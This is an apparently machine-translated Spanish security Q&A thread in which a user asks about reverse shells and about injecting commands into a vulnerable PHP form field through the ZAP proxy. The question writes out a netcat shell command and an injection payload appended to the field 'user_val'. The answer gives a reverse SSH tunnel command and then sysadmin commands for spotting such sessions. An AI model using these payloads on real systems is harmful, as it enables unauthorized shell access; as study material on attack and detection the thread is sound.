Invertir ataques de shell e intercepciones de proxy ... hay algo gastado?

2

Primero, tengo algunas preguntas acerca de Reverse shell.

REVERSE SHELL

Estoy tratando de entender la técnica del caparazón inverso.

Mi razonamiento es el siguiente (me alegraría si pudiera señalar algún error al respecto)

1) La shell inversa es diferente (diría lo contrario) de una shell normal, ya que en este caso particular el servidor remoto abre una conexión (la shell normal o directa implica que el cliente establece una conexión con el servidor)

2) La carcasa inversa puede omitir los controles del firewall, ya que es básicamente una conexión saliente. Se supone que los cortafuegos protegen contra las conexiones entrantes. (Probablemente esto podría ser cuestionable)

ATAQUE

3) Además, ¿es factible el siguiente escenario? (Quiero decir, ¿puedo inyectar el comando a través de un software proxy como ZAP?)

Escenario: un sitio es vulnerable a los datos de entrada del usuario. Los usuarios insertan datos a través de un campo de texto.

SO: GNU / Linux. Servidor: Apache / 2.2.15 X-Powered By: PHP / 5.3.5

Supongamos que a través de un software proxy (como ZAP) después de algunas comprobaciones, puede tenga en cuenta que hay un campo que coincide con el campo de entrada del usuario disponible a través de la interfaz de usuario.

El campo se llama: user_val .

Dado eso, puedo intentar inyectar un separador de comando simple ";" que prácticamente es como si configuraras: user_val=;

Luego me doy cuenta de que hay algunos archivos incrustados en la página web que devuelve la aplicación.

Wow, la aplicación es vulnerable.

La aplicación es vulnerable, por lo que es posible interactuar directamente con el sistema de archivos del servidor. Ahora ... el problema nudoso (para mí) 4) ¿Es correcto el siguiente comando? (Usando ZAP trato de encender una cáscara inversa)

netcat -v -e '/bin/bash' -l -p 40552 

-v (detallado), - e (cuando se establece una conexión, ejecuta el shell Bash), -l (parámetro para escuchar una conexión) -p (permite asignar un puerto para escuchar, aquí el puerto 40552), el puerto elegido debe estar libre.

5) Entonces, al utilizar ZAP, ¿la inyección es correcta ?:

user_val=; netcat -v -e '/bin/bash' -l -p 40552 

Muchas gracias (me disculpo por el largo post)

    
pregunta g9999 01.01.2013 - 16:20
fuente

1 respuesta

1

Sí, se puede usar ssh inversa para omitir las limitaciones entrantes del cortafuegos.

Pero como tiene que ejecutar un comando de este tipo en el destino:

ssh -R 2222:localhost:22 myuser@myipaddres

Esto será visible por sysadmin a través de un simple

ps -C ssh ww

Este comando imprimirá su dirección IP y el inicio de sesión utilizado para ssh remoto.

El siguiente comando:

netstat -tanp |
    sed -ne  '
        s/tcp.*\(127.0.0.[0-9]*\):22[\t ]*:.* \([0-9]\+\)\/.*//p
        ' |
        xargs -n1 ps wwho sid --ppid |
        xargs  -n1 ps efwh --sid

imprimirá exactamente lo que estás haciendo en este momento.

En absoluto, si has iniciado sesión en un honeybot, (real) .bashrc contiene algo como script para registrar todo lo que haces.

Y por último pero no menos importante , revertir SSH implie que el objetivo tiene acceso a uno de tu host. Así que tenga cuidado de que en este host, no haya otra sesión ssh abierta.

    
respondido por el F. Hauri 01.01.2013 - 17:27
fuente

Lea otras preguntas en las etiquetas